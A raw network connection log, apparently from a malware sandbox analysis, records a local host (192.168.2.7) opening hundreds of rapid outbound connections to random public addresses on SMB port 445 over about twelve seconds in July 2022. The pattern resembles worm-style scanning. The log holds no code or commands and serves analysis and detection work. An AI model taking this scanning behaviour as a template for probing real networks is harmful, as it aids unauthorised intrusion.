Jul 20, 2022 19:10:47.027782917 CEST	61084	445	192.168.2.7	108.89.10.181
Jul 20, 2022 19:10:47.027957916 CEST	61085	445	192.168.2.7	206.137.175.216
Jul 20, 2022 19:10:47.059585094 CEST	61090	445	192.168.2.7	36.54.240.190
Jul 20, 2022 19:10:47.449219942 CEST	61021	445	192.168.2.7	91.133.117.93
Jul 20, 2022 19:10:47.484291077 CEST	445	61021	91.133.117.93	192.168.2.7
Jul 20, 2022 19:10:47.652388096 CEST	61038	445	192.168.2.7	5.42.226.149
Jul 20, 2022 19:10:47.754113913 CEST	445	61038	5.42.226.149	192.168.2.7
Jul 20, 2022 19:10:47.809802055 CEST	61108	445	192.168.2.7	4.90.142.41
Jul 20, 2022 19:10:47.809864044 CEST	61109	445	192.168.2.7	58.210.170.34
Jul 20, 2022 19:10:47.810156107 CEST	61115	445	192.168.2.7	161.221.98.155
Jul 20, 2022 19:10:47.810214996 CEST	61117	445	192.168.2.7	162.196.119.109
Jul 20, 2022 19:10:47.810266972 CEST	61118	445	192.168.2.7	113.58.244.15
Jul 20, 2022 19:10:47.950342894 CEST	61127	445	192.168.2.7	30.127.146.126
Jul 20, 2022 19:10:47.950721025 CEST	61134	445	192.168.2.7	221.122.72.170
Jul 20, 2022 19:10:47.950779915 CEST	61135	445	192.168.2.7	187.191.254.153
Jul 20, 2022 19:10:47.950946093 CEST	61139	445	192.168.2.7	66.51.5.184
Jul 20, 2022 19:10:48.031966925 CEST	61151	445	192.168.2.7	18.149.153.41
Jul 20, 2022 19:10:48.032068014 CEST	61152	445	192.168.2.7	101.76.171.102
Jul 20, 2022 19:10:48.032246113 CEST	61154	445	192.168.2.7	20.217.211.10
Jul 20, 2022 19:10:48.032877922 CEST	61160	445	192.168.2.7	53.168.108.39
Jul 20, 2022 19:10:48.033092976 CEST	61162	445	192.168.2.7	172.66.69.106
Jul 20, 2022 19:10:48.044234037 CEST	61166	445	192.168.2.7	110.38.136.114
Jul 20, 2022 19:10:48.044574022 CEST	61170	445	192.168.2.7	84.129.9.175
Jul 20, 2022 19:10:48.044784069 CEST	61172	445	192.168.2.7	25.178.240.98
Jul 20, 2022 19:10:48.045483112 CEST	61176	445	192.168.2.7	115.43.165.38
Jul 20, 2022 19:10:48.045557976 CEST	61177	445	192.168.2.7	148.188.26.14
Jul 20, 2022 19:10:48.106277943 CEST	61180	445	192.168.2.7	104.78.190.244
Jul 20, 2022 19:10:48.106576920 CEST	61182	445	192.168.2.7	105.205.250.227
Jul 20, 2022 19:10:48.106789112 CEST	61184	445	192.168.2.7	172.142.230.26
Jul 20, 2022 19:10:48.106843948 CEST	61181	445	192.168.2.7	61.197.153.220
Jul 20, 2022 19:10:48.106890917 CEST	61185	445	192.168.2.7	184.110.160.1
Jul 20, 2022 19:10:48.106993914 CEST	61187	445	192.168.2.7	176.196.10.53
Jul 20, 2022 19:10:48.107059002 CEST	61188	445	192.168.2.7	146.167.189.174
Jul 20, 2022 19:10:48.152725935 CEST	61198	445	192.168.2.7	26.225.225.161
Jul 20, 2022 19:10:48.152842999 CEST	61199	445	192.168.2.7	72.21.138.131
Jul 20, 2022 19:10:48.184077978 CEST	61204	445	192.168.2.7	74.73.5.214
Jul 20, 2022 19:10:48.408457994 CEST	445	61181	61.197.153.220	192.168.2.7
Jul 20, 2022 19:10:48.934448957 CEST	61221	445	192.168.2.7	196.86.91.57
Jul 20, 2022 19:10:48.934528112 CEST	61222	445	192.168.2.7	181.78.15.190
Jul 20, 2022 19:10:48.934755087 CEST	61228	445	192.168.2.7	164.34.125.95
Jul 20, 2022 19:10:48.934873104 CEST	61231	445	192.168.2.7	65.79.76.9
Jul 20, 2022 19:10:48.935141087 CEST	61230	445	192.168.2.7	8.57.24.223
Jul 20, 2022 19:10:48.965027094 CEST	61181	445	192.168.2.7	61.197.153.220
Jul 20, 2022 19:10:49.074984074 CEST	61241	445	192.168.2.7	218.83.166.171
Jul 20, 2022 19:10:49.075341940 CEST	61248	445	192.168.2.7	106.102.92.51
Jul 20, 2022 19:10:49.075437069 CEST	61250	445	192.168.2.7	136.93.154.198
Jul 20, 2022 19:10:49.075706959 CEST	61254	445	192.168.2.7	63.191.137.13
Jul 20, 2022 19:10:49.153280973 CEST	61264	445	192.168.2.7	43.143.242.96
Jul 20, 2022 19:10:49.153402090 CEST	61266	445	192.168.2.7	223.122.41.70
Jul 20, 2022 19:10:49.153544903 CEST	61267	445	192.168.2.7	181.11.228.127
Jul 20, 2022 19:10:49.153999090 CEST	61275	445	192.168.2.7	203.241.59.57
Jul 20, 2022 19:10:49.154258966 CEST	61277	445	192.168.2.7	83.212.85.228
Jul 20, 2022 19:10:49.168442011 CEST	61278	445	192.168.2.7	53.91.0.130
Jul 20, 2022 19:10:49.168652058 CEST	61283	445	192.168.2.7	189.64.51.96
Jul 20, 2022 19:10:49.168941021 CEST	61287	445	192.168.2.7	14.95.16.198
Jul 20, 2022 19:10:49.169115067 CEST	61290	445	192.168.2.7	37.76.136.25
Jul 20, 2022 19:10:49.169167042 CEST	61291	445	192.168.2.7	73.116.135.125
Jul 20, 2022 19:10:49.231131077 CEST	61294	445	192.168.2.7	13.177.98.71
Jul 20, 2022 19:10:49.231314898 CEST	61296	445	192.168.2.7	202.2.161.46
Jul 20, 2022 19:10:49.231329918 CEST	61295	445	192.168.2.7	42.192.5.57
Jul 20, 2022 19:10:49.231574059 CEST	61298	445	192.168.2.7	31.212.175.249
Jul 20, 2022 19:10:49.231578112 CEST	61299	445	192.168.2.7	213.243.70.166
Jul 20, 2022 19:10:49.231786966 CEST	61301	445	192.168.2.7	42.250.48.165
Jul 20, 2022 19:10:49.231939077 CEST	61302	445	192.168.2.7	56.156.246.70
Jul 20, 2022 19:10:49.267883062 CEST	445	61181	61.197.153.220	192.168.2.7
Jul 20, 2022 19:10:49.277875900 CEST	61312	445	192.168.2.7	40.227.87.194
Jul 20, 2022 19:10:49.277875900 CEST	61311	445	192.168.2.7	109.44.113.219
Jul 20, 2022 19:10:49.309492111 CEST	61315	445	192.168.2.7	178.20.60.233
Jul 20, 2022 19:10:50.059192896 CEST	61336	445	192.168.2.7	69.242.51.63
Jul 20, 2022 19:10:50.059284925 CEST	61337	445	192.168.2.7	2.162.48.68
Jul 20, 2022 19:10:50.059621096 CEST	61343	445	192.168.2.7	204.210.132.219
Jul 20, 2022 19:10:50.059858084 CEST	61346	445	192.168.2.7	212.127.42.7
Jul 20, 2022 19:10:50.061151028 CEST	61345	445	192.168.2.7	43.41.115.173
Jul 20, 2022 19:10:50.200054884 CEST	61354	445	192.168.2.7	92.243.191.119
Jul 20, 2022 19:10:50.200565100 CEST	61363	445	192.168.2.7	106.195.203.113
Jul 20, 2022 19:10:50.200570107 CEST	61361	445	192.168.2.7	14.72.166.99
Jul 20, 2022 19:10:50.200934887 CEST	61369	445	192.168.2.7	196.241.103.249
Jul 20, 2022 19:10:50.294708967 CEST	61378	445	192.168.2.7	43.165.220.209
Jul 20, 2022 19:10:50.294774055 CEST	61379	445	192.168.2.7	59.120.127.177
Jul 20, 2022 19:10:50.294972897 CEST	61381	445	192.168.2.7	179.155.63.189
Jul 20, 2022 19:10:50.295443058 CEST	61389	445	192.168.2.7	91.126.12.147
Jul 20, 2022 19:10:50.295525074 CEST	61390	445	192.168.2.7	72.86.50.114
Jul 20, 2022 19:10:50.295752048 CEST	61395	445	192.168.2.7	2.136.174.32
Jul 20, 2022 19:10:50.295840979 CEST	61396	445	192.168.2.7	38.206.236.139
Jul 20, 2022 19:10:50.295934916 CEST	61398	445	192.168.2.7	110.62.16.241
Jul 20, 2022 19:10:50.296083927 CEST	61400	445	192.168.2.7	35.23.21.69
Jul 20, 2022 19:10:50.296261072 CEST	61404	445	192.168.2.7	54.22.87.37
Jul 20, 2022 19:10:50.356987000 CEST	61408	445	192.168.2.7	73.231.102.216
Jul 20, 2022 19:10:50.357242107 CEST	61410	445	192.168.2.7	138.253.30.79
Jul 20, 2022 19:10:50.357373953 CEST	61412	445	192.168.2.7	110.112.247.143
Jul 20, 2022 19:10:50.357547045 CEST	61414	445	192.168.2.7	29.57.131.243
Jul 20, 2022 19:10:50.358108997 CEST	61422	445	192.168.2.7	134.111.53.39
Jul 20, 2022 19:10:50.358181000 CEST	61423	445	192.168.2.7	105.175.228.119
Jul 20, 2022 19:10:50.358253002 CEST	61424	445	192.168.2.7	128.139.200.253
Jul 20, 2022 19:10:50.403373957 CEST	61425	445	192.168.2.7	182.240.196.20
Jul 20, 2022 19:10:50.403458118 CEST	61426	445	192.168.2.7	214.37.209.87
Jul 20, 2022 19:10:50.409739017 CEST	445	61390	72.86.50.114	192.168.2.7
Jul 20, 2022 19:10:50.435404062 CEST	61439	445	192.168.2.7	58.31.66.149
Jul 20, 2022 19:10:50.965173006 CEST	61390	445	192.168.2.7	72.86.50.114
Jul 20, 2022 19:10:51.079865932 CEST	445	61390	72.86.50.114	192.168.2.7
Jul 20, 2022 19:10:51.168859959 CEST	61449	445	192.168.2.7	142.102.233.63
Jul 20, 2022 19:10:51.169547081 CEST	61452	445	192.168.2.7	197.216.51.111
Jul 20, 2022 19:10:51.169703960 CEST	61456	445	192.168.2.7	166.29.170.124
Jul 20, 2022 19:10:51.170172930 CEST	61459	445	192.168.2.7	32.59.158.51
Jul 20, 2022 19:10:51.170188904 CEST	61460	445	192.168.2.7	22.189.201.155
Jul 20, 2022 19:10:51.310662985 CEST	61469	445	192.168.2.7	51.110.131.18
Jul 20, 2022 19:10:51.311047077 CEST	61477	445	192.168.2.7	94.248.106.58
Jul 20, 2022 19:10:51.311153889 CEST	61478	445	192.168.2.7	222.80.91.131
Jul 20, 2022 19:10:51.311460018 CEST	61485	445	192.168.2.7	74.207.219.86
Jul 20, 2022 19:10:51.419127941 CEST	61493	445	192.168.2.7	118.100.252.209
Jul 20, 2022 19:10:51.419251919 CEST	61494	445	192.168.2.7	177.134.1.136
Jul 20, 2022 19:10:51.419404030 CEST	61495	445	192.168.2.7	12.16.39.142
Jul 20, 2022 19:10:51.419850111 CEST	61504	445	192.168.2.7	12.11.130.232
Jul 20, 2022 19:10:51.420152903 CEST	61510	445	192.168.2.7	155.157.236.236
Jul 20, 2022 19:10:51.420155048 CEST	61505	445	192.168.2.7	160.215.177.111
Jul 20, 2022 19:10:51.420187950 CEST	61511	445	192.168.2.7	223.101.60.3
Jul 20, 2022 19:10:51.420372009 CEST	61514	445	192.168.2.7	61.68.169.75
Jul 20, 2022 19:10:51.420433044 CEST	61516	445	192.168.2.7	8.121.224.61
Jul 20, 2022 19:10:51.420679092 CEST	61520	445	192.168.2.7	197.237.222.58
Jul 20, 2022 19:10:51.465868950 CEST	61522	445	192.168.2.7	41.223.99.86
Jul 20, 2022 19:10:51.466064930 CEST	61523	445	192.168.2.7	77.165.239.99
Jul 20, 2022 19:10:51.466083050 CEST	61525	445	192.168.2.7	178.191.116.191
Jul 20, 2022 19:10:51.466376066 CEST	61530	445	192.168.2.7	50.179.98.181
Jul 20, 2022 19:10:51.466671944 CEST	61533	445	192.168.2.7	218.100.165.198
Jul 20, 2022 19:10:51.467087030 CEST	61536	445	192.168.2.7	123.4.84.19
Jul 20, 2022 19:10:51.467091084 CEST	61537	445	192.168.2.7	187.171.45.144
Jul 20, 2022 19:10:51.528559923 CEST	61541	445	192.168.2.7	70.243.112.95
Jul 20, 2022 19:10:51.528645039 CEST	61540	445	192.168.2.7	24.176.52.9
Jul 20, 2022 19:10:51.560458899 CEST	61544	445	192.168.2.7	47.169.184.29
Jul 20, 2022 19:10:52.293467045 CEST	59801	445	192.168.2.7	192.56.37.3
Jul 20, 2022 19:10:52.295391083 CEST	61566	445	192.168.2.7	54.57.120.49
Jul 20, 2022 19:10:52.296176910 CEST	61569	445	192.168.2.7	75.63.184.32
Jul 20, 2022 19:10:52.296681881 CEST	61573	445	192.168.2.7	185.53.23.204
Jul 20, 2022 19:10:52.296972036 CEST	61575	445	192.168.2.7	130.166.79.181
Jul 20, 2022 19:10:52.297137976 CEST	61576	445	192.168.2.7	112.91.250.228
Jul 20, 2022 19:10:52.370383978 CEST	61584	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:10:52.435919046 CEST	61587	445	192.168.2.7	56.49.113.185
Jul 20, 2022 19:10:52.436145067 CEST	61589	445	192.168.2.7	35.223.121.17
Jul 20, 2022 19:10:52.436805010 CEST	61597	445	192.168.2.7	22.169.144.130
Jul 20, 2022 19:10:52.436942101 CEST	61598	445	192.168.2.7	59.137.11.1
Jul 20, 2022 19:10:52.552298069 CEST	445	61584	192.56.37.4	192.168.2.7
Jul 20, 2022 19:10:52.552506924 CEST	61584	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:10:52.554559946 CEST	61609	445	192.168.2.7	207.23.197.44
Jul 20, 2022 19:10:52.554680109 CEST	61610	445	192.168.2.7	99.6.80.161
Jul 20, 2022 19:10:52.554778099 CEST	61611	445	192.168.2.7	129.17.150.114
Jul 20, 2022 19:10:52.555485964 CEST	61620	445	192.168.2.7	18.168.40.196
Jul 20, 2022 19:10:52.555588961 CEST	61621	445	192.168.2.7	172.188.219.98
Jul 20, 2022 19:10:52.555998087 CEST	61626	445	192.168.2.7	220.20.70.206
Jul 20, 2022 19:10:52.556085110 CEST	61627	445	192.168.2.7	159.139.91.32
Jul 20, 2022 19:10:52.556405067 CEST	61631	445	192.168.2.7	161.203.95.222
Jul 20, 2022 19:10:52.556512117 CEST	61632	445	192.168.2.7	163.215.149.151
Jul 20, 2022 19:10:52.556847095 CEST	61636	445	192.168.2.7	123.23.187.234
Jul 20, 2022 19:10:52.668016911 CEST	61639	445	192.168.2.7	95.79.87.245
Jul 20, 2022 19:10:52.668239117 CEST	61641	445	192.168.2.7	38.159.59.56
Jul 20, 2022 19:10:52.668984890 CEST	61644	445	192.168.2.7	139.209.197.92
Jul 20, 2022 19:10:52.669272900 CEST	61647	445	192.168.2.7	211.73.37.115
Jul 20, 2022 19:10:52.669672966 CEST	61652	445	192.168.2.7	208.40.214.176
Jul 20, 2022 19:10:52.669898033 CEST	61654	445	192.168.2.7	13.57.57.130
Jul 20, 2022 19:10:52.669991970 CEST	61655	445	192.168.2.7	78.174.57.135
Jul 20, 2022 19:10:52.673577070 CEST	61656	445	192.168.2.7	13.179.130.249
Jul 20, 2022 19:10:52.673739910 CEST	61657	445	192.168.2.7	78.17.86.178
Jul 20, 2022 19:10:52.674993038 CEST	61660	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:10:52.686477900 CEST	61661	445	192.168.2.7	215.42.127.200
Jul 20, 2022 19:10:52.854485989 CEST	445	61660	192.56.37.4	192.168.2.7
Jul 20, 2022 19:10:52.854680061 CEST	61660	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:10:53.090394020 CEST	61584	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:10:53.292992115 CEST	61675	445	192.168.2.7	165.3.122.2
Jul 20, 2022 19:10:53.420938015 CEST	61686	445	192.168.2.7	129.179.79.56
Jul 20, 2022 19:10:53.421195030 CEST	61687	445	192.168.2.7	157.28.254.13
Jul 20, 2022 19:10:53.421245098 CEST	61689	445	192.168.2.7	172.24.118.200
Jul 20, 2022 19:10:53.421549082 CEST	61693	445	192.168.2.7	124.47.109.136
Jul 20, 2022 19:10:53.421782970 CEST	61696	445	192.168.2.7	147.201.192.141
Jul 20, 2022 19:10:53.559247017 CEST	61584	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:10:53.561863899 CEST	61703	445	192.168.2.7	164.219.32.6
Jul 20, 2022 19:10:53.562051058 CEST	61705	445	192.168.2.7	42.125.182.105
Jul 20, 2022 19:10:53.562617064 CEST	61713	445	192.168.2.7	189.67.200.143
Jul 20, 2022 19:10:53.562725067 CEST	61714	445	192.168.2.7	175.112.250.153
Jul 20, 2022 19:10:53.669708014 CEST	61726	445	192.168.2.7	62.100.224.31
Jul 20, 2022 19:10:53.669884920 CEST	61727	445	192.168.2.7	124.135.177.128
Jul 20, 2022 19:10:53.670072079 CEST	61728	445	192.168.2.7	150.91.143.68
Jul 20, 2022 19:10:53.670793056 CEST	61737	445	192.168.2.7	145.195.31.206
Jul 20, 2022 19:10:53.670875072 CEST	61738	445	192.168.2.7	174.129.157.3
Jul 20, 2022 19:10:53.671264887 CEST	61743	445	192.168.2.7	205.100.160.222
Jul 20, 2022 19:10:53.671361923 CEST	61744	445	192.168.2.7	53.28.5.190
Jul 20, 2022 19:10:53.671705961 CEST	61748	445	192.168.2.7	106.245.87.182
Jul 20, 2022 19:10:53.671819925 CEST	61749	445	192.168.2.7	206.83.204.49
Jul 20, 2022 19:10:53.672188997 CEST	61753	445	192.168.2.7	187.114.77.4
Jul 20, 2022 19:10:53.778831959 CEST	61756	445	192.168.2.7	33.15.92.94
Jul 20, 2022 19:10:53.779138088 CEST	61758	445	192.168.2.7	135.212.89.60
Jul 20, 2022 19:10:53.796149969 CEST	61762	445	192.168.2.7	121.91.144.221
Jul 20, 2022 19:10:53.796446085 CEST	61765	445	192.168.2.7	6.27.104.241
Jul 20, 2022 19:10:53.796850920 CEST	61770	445	192.168.2.7	185.157.105.166
Jul 20, 2022 19:10:53.797044039 CEST	61772	445	192.168.2.7	202.192.69.166
Jul 20, 2022 19:10:53.797153950 CEST	61773	445	192.168.2.7	149.131.85.127
Jul 20, 2022 19:10:53.797255993 CEST	61774	445	192.168.2.7	31.241.217.221
Jul 20, 2022 19:10:53.797367096 CEST	61775	445	192.168.2.7	125.130.218.178
Jul 20, 2022 19:10:53.810904026 CEST	61778	445	192.168.2.7	111.72.236.34
Jul 20, 2022 19:10:53.824786901 CEST	61660	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:10:53.833028078 CEST	445	61749	206.83.204.49	192.168.2.7
Jul 20, 2022 19:10:54.449877977 CEST	61660	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:10:54.452071905 CEST	61749	445	192.168.2.7	206.83.204.49
Jul 20, 2022 19:10:54.614581108 CEST	445	61749	206.83.204.49	192.168.2.7
Jul 20, 2022 19:10:54.653022051 CEST	61584	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:10:54.654731035 CEST	61794	445	192.168.2.7	192.95.196.185
Jul 20, 2022 19:10:54.654989958 CEST	61797	445	192.168.2.7	117.99.2.3
Jul 20, 2022 19:10:54.655340910 CEST	61801	445	192.168.2.7	160.247.144.200
Jul 20, 2022 19:10:54.655551910 CEST	61803	445	192.168.2.7	31.237.173.51
Jul 20, 2022 19:10:54.655659914 CEST	61804	445	192.168.2.7	60.33.68.131
Jul 20, 2022 19:10:54.762228012 CEST	61819	445	192.168.2.7	93.199.57.204
Jul 20, 2022 19:10:54.763031006 CEST	61821	445	192.168.2.7	86.49.78.163
Jul 20, 2022 19:10:54.764065981 CEST	61829	445	192.168.2.7	193.45.41.65
Jul 20, 2022 19:10:54.764280081 CEST	61830	445	192.168.2.7	130.56.21.90
Jul 20, 2022 19:10:54.898401022 CEST	61839	445	192.168.2.7	197.183.169.142
Jul 20, 2022 19:10:54.898938894 CEST	61843	445	192.168.2.7	116.23.209.106
Jul 20, 2022 19:10:54.899055004 CEST	61844	445	192.168.2.7	151.136.86.204
Jul 20, 2022 19:10:54.899394035 CEST	61848	445	192.168.2.7	201.205.25.142
Jul 20, 2022 19:10:54.899557114 CEST	61849	445	192.168.2.7	80.84.10.228
Jul 20, 2022 19:10:54.899957895 CEST	61854	445	192.168.2.7	16.234.194.221
Jul 20, 2022 19:10:54.900049925 CEST	61855	445	192.168.2.7	180.74.245.107
Jul 20, 2022 19:10:54.901052952 CEST	61864	445	192.168.2.7	82.138.144.122
Jul 20, 2022 19:10:54.901173115 CEST	61865	445	192.168.2.7	63.47.87.190
Jul 20, 2022 19:10:54.901272058 CEST	61866	445	192.168.2.7	137.210.143.183
Jul 20, 2022 19:10:54.903315067 CEST	61873	445	192.168.2.7	105.206.70.219
Jul 20, 2022 19:10:54.903496981 CEST	61875	445	192.168.2.7	43.19.33.110
Jul 20, 2022 19:10:54.921274900 CEST	61878	445	192.168.2.7	30.66.248.78
Jul 20, 2022 19:10:54.921638966 CEST	61881	445	192.168.2.7	140.92.213.146
Jul 20, 2022 19:10:54.922171116 CEST	61886	445	192.168.2.7	138.141.247.13
Jul 20, 2022 19:10:54.922420025 CEST	61888	445	192.168.2.7	117.203.102.21
Jul 20, 2022 19:10:54.922542095 CEST	61889	445	192.168.2.7	65.193.109.223
Jul 20, 2022 19:10:54.922651052 CEST	61890	445	192.168.2.7	208.11.88.127
Jul 20, 2022 19:10:54.922784090 CEST	61891	445	192.168.2.7	193.201.42.12
Jul 20, 2022 19:10:54.935898066 CEST	61894	445	192.168.2.7	149.109.239.199
Jul 20, 2022 19:10:55.561186075 CEST	61660	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:10:55.779090881 CEST	61912	445	192.168.2.7	30.140.209.109
Jul 20, 2022 19:10:55.779225111 CEST	61916	445	192.168.2.7	56.59.22.46
Jul 20, 2022 19:10:55.779385090 CEST	61919	445	192.168.2.7	65.5.117.147
Jul 20, 2022 19:10:55.779500008 CEST	61921	445	192.168.2.7	215.164.62.140
Jul 20, 2022 19:10:55.779556990 CEST	61922	445	192.168.2.7	110.18.156.178
Jul 20, 2022 19:10:55.872052908 CEST	61935	445	192.168.2.7	81.14.189.63
Jul 20, 2022 19:10:55.888864040 CEST	61944	445	192.168.2.7	167.65.135.178
Jul 20, 2022 19:10:55.889025927 CEST	61947	445	192.168.2.7	171.205.126.29
Jul 20, 2022 19:10:55.889421940 CEST	61955	445	192.168.2.7	35.137.116.99
Jul 20, 2022 19:10:56.012981892 CEST	61959	445	192.168.2.7	9.130.128.72
Jul 20, 2022 19:10:56.013163090 CEST	61960	445	192.168.2.7	201.192.70.208
Jul 20, 2022 19:10:56.013294935 CEST	61963	445	192.168.2.7	136.220.35.70
Jul 20, 2022 19:10:56.013432980 CEST	61966	445	192.168.2.7	32.150.46.74
Jul 20, 2022 19:10:56.013838053 CEST	61974	445	192.168.2.7	80.202.9.46
Jul 20, 2022 19:10:56.013937950 CEST	61976	445	192.168.2.7	35.17.167.11
Jul 20, 2022 19:10:56.013974905 CEST	61977	445	192.168.2.7	136.197.146.155
Jul 20, 2022 19:10:56.014436007 CEST	61983	445	192.168.2.7	93.34.231.250
Jul 20, 2022 19:10:56.014642000 CEST	61987	445	192.168.2.7	147.163.232.8
Jul 20, 2022 19:10:56.014678955 CEST	61988	445	192.168.2.7	43.63.247.94
Jul 20, 2022 19:10:56.028697014 CEST	61989	445	192.168.2.7	188.34.237.56
Jul 20, 2022 19:10:56.028872967 CEST	61992	445	192.168.2.7	55.3.161.142
Jul 20, 2022 19:10:56.044353008 CEST	61995	445	192.168.2.7	96.95.228.141
Jul 20, 2022 19:10:56.044527054 CEST	61999	445	192.168.2.7	129.210.6.12
Jul 20, 2022 19:10:56.044933081 CEST	62004	445	192.168.2.7	70.117.37.47
Jul 20, 2022 19:10:56.045072079 CEST	62005	445	192.168.2.7	40.183.22.134
Jul 20, 2022 19:10:56.045202971 CEST	62006	445	192.168.2.7	129.73.164.37
Jul 20, 2022 19:10:56.045209885 CEST	62007	445	192.168.2.7	22.154.94.150
Jul 20, 2022 19:10:56.045221090 CEST	62008	445	192.168.2.7	53.5.178.3
Jul 20, 2022 19:10:56.060079098 CEST	62020	445	192.168.2.7	8.228.128.248
Jul 20, 2022 19:10:56.291815042 CEST	61675	445	192.168.2.7	165.3.122.2
Jul 20, 2022 19:10:56.840657949 CEST	61584	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:10:56.904207945 CEST	62031	445	192.168.2.7	44.198.96.106
Jul 20, 2022 19:10:56.904326916 CEST	62033	445	192.168.2.7	56.101.152.13
Jul 20, 2022 19:10:56.904715061 CEST	62037	445	192.168.2.7	172.20.245.214
Jul 20, 2022 19:10:56.904855967 CEST	62039	445	192.168.2.7	192.175.240.15
Jul 20, 2022 19:10:56.904885054 CEST	62040	445	192.168.2.7	3.15.48.61
Jul 20, 2022 19:10:56.998534918 CEST	62055	445	192.168.2.7	3.121.135.40
Jul 20, 2022 19:10:57.013720989 CEST	62058	445	192.168.2.7	138.96.8.45
Jul 20, 2022 19:10:57.013845921 CEST	62061	445	192.168.2.7	80.61.37.220
Jul 20, 2022 19:10:57.014370918 CEST	62068	445	192.168.2.7	44.184.93.38
Jul 20, 2022 19:10:57.122637987 CEST	62078	445	192.168.2.7	61.220.78.226
Jul 20, 2022 19:10:57.122674942 CEST	62079	445	192.168.2.7	124.121.33.177
Jul 20, 2022 19:10:57.122945070 CEST	62084	445	192.168.2.7	142.220.79.124
Jul 20, 2022 19:10:57.123083115 CEST	62085	445	192.168.2.7	30.232.251.202
Jul 20, 2022 19:10:57.123496056 CEST	62093	445	192.168.2.7	42.231.100.55
Jul 20, 2022 19:10:57.123507977 CEST	62094	445	192.168.2.7	7.84.0.109
Jul 20, 2022 19:10:57.123644114 CEST	62095	445	192.168.2.7	32.45.76.57
Jul 20, 2022 19:10:57.124176025 CEST	62103	445	192.168.2.7	223.118.61.10
Jul 20, 2022 19:10:57.124305964 CEST	62105	445	192.168.2.7	31.56.235.129
Jul 20, 2022 19:10:57.124402046 CEST	62106	445	192.168.2.7	12.156.130.28
Jul 20, 2022 19:10:57.138899088 CEST	62107	445	192.168.2.7	208.175.19.149
Jul 20, 2022 19:10:57.139184952 CEST	62109	445	192.168.2.7	185.140.34.172
Jul 20, 2022 19:10:57.153765917 CEST	62114	445	192.168.2.7	185.155.57.169
Jul 20, 2022 19:10:57.153942108 CEST	62117	445	192.168.2.7	55.41.236.147
Jul 20, 2022 19:10:57.154259920 CEST	62123	445	192.168.2.7	197.92.170.189
Jul 20, 2022 19:10:57.154274940 CEST	62122	445	192.168.2.7	86.132.179.198
Jul 20, 2022 19:10:57.154412031 CEST	62124	445	192.168.2.7	145.142.99.88
Jul 20, 2022 19:10:57.154572010 CEST	62125	445	192.168.2.7	146.131.96.224
Jul 20, 2022 19:10:57.154588938 CEST	62127	445	192.168.2.7	66.233.216.243
Jul 20, 2022 19:10:57.185059071 CEST	62130	445	192.168.2.7	220.149.179.10
Jul 20, 2022 19:10:57.668823957 CEST	61660	445	192.168.2.7	192.56.37.4
Jul 20, 2022 19:10:58.030210972 CEST	62149	445	192.168.2.7	146.160.228.50
Jul 20, 2022 19:10:58.030381918 CEST	62151	445	192.168.2.7	25.199.20.36
Jul 20, 2022 19:10:58.030613899 CEST	62155	445	192.168.2.7	90.161.43.22
Jul 20, 2022 19:10:58.030798912 CEST	62158	445	192.168.2.7	169.84.23.192
Jul 20, 2022 19:10:58.031868935 CEST	62159	445	192.168.2.7	92.139.132.103
Jul 20, 2022 19:10:58.126655102 CEST	62173	445	192.168.2.7	140.67.30.125
Jul 20, 2022 19:10:58.138931036 CEST	62179	445	192.168.2.7	142.194.86.164
Jul 20, 2022 19:10:58.139209032 CEST	62180	445	192.168.2.7	188.214.114.3
Jul 20, 2022 19:10:58.139583111 CEST	62185	445	192.168.2.7	187.51.68.90
Jul 20, 2022 19:10:58.233198881 CEST	62194	445	192.168.2.7	111.63.4.251
Jul 20, 2022 19:10:58.233829021 CEST	62201	445	192.168.2.7	57.130.26.152
Jul 20, 2022 19:10:58.233985901 CEST	62203	445	192.168.2.7	185.131.102.83
Jul 20, 2022 19:10:58.234174967 CEST	62205	445	192.168.2.7	124.7.244.223
Jul 20, 2022 19:10:58.234647036 CEST	62211	445	192.168.2.7	55.157.163.253
Jul 20, 2022 19:10:58.234765053 CEST	62213	445	192.168.2.7	94.47.141.118
Jul 20, 2022 19:10:58.234915972 CEST	62215	445	192.168.2.7	125.85.185.134
Jul 20, 2022 19:10:58.235340118 CEST	62219	445	192.168.2.7	67.235.16.44
Jul 20, 2022 19:10:58.235435009 CEST	62220	445	192.168.2.7	12.233.201.75
Jul 20, 2022 19:10:58.235739946 CEST	62225	445	192.168.2.7	80.198.185.181
Jul 20, 2022 19:10:58.264772892 CEST	62228	445	192.168.2.7	189.14.4.86
Jul 20, 2022 19:10:58.265178919 CEST	62232	445	192.168.2.7	105.46.56.114
Jul 20, 2022 19:10:58.265480995 CEST	62235	445	192.168.2.7	75.244.194.175
Jul 20, 2022 19:10:58.265734911 CEST	62237	445	192.168.2.7	87.74.238.33
Jul 20, 2022 19:10:58.265968084 CEST	62239	445	192.168.2.7	61.75.166.133
Jul 20, 2022 19:10:58.266021013 CEST	62240	445	192.168.2.7	77.73.144.70
Jul 20, 2022 19:10:58.266135931 CEST	62241	445	192.168.2.7	181.67.109.92
Jul 20, 2022 19:10:58.266274929 CEST	62242	445	192.168.2.7	39.212.87.215
Jul 20, 2022 19:10:58.266973019 CEST	62247	445	192.168.2.7	144.254.15.176
Jul 20, 2022 19:10:58.310678959 CEST	62259	445	192.168.2.7	143.222.87.11
Jul 20, 2022 19:10:59.154210091 CEST	62266	445	192.168.2.7	223.60.236.82
Jul 20, 2022 19:10:59.154417992 CEST	62270	445	192.168.2.7	209.92.232.63
Jul 20, 2022 19:10:59.154556990 CEST	62271	445	192.168.2.7	77.17.32.58
Jul 20, 2022 19:10:59.154756069 CEST	62276	445	192.168.2.7	90.211.30.233
Jul 20, 2022 19:10:59.154870033 CEST	62277	445	192.168.2.7	29.15.239.34
Jul 20, 2022 19:10:59.248176098 CEST	62292	445	192.168.2.7	118.250.184.231
Jul 20, 2022 19:10:59.263264894 CEST	62297	445	192.168.2.7	160.115.242.133
Jul 20, 2022 19:10:59.263330936 CEST	62298	445	192.168.2.7	189.71.49.156
Jul 20, 2022 19:10:59.263474941 CEST	62300	445	192.168.2.7	27.16.170.94
Jul 20, 2022 19:10:59.356885910 CEST	62313	445	192.168.2.7	179.77.211.207
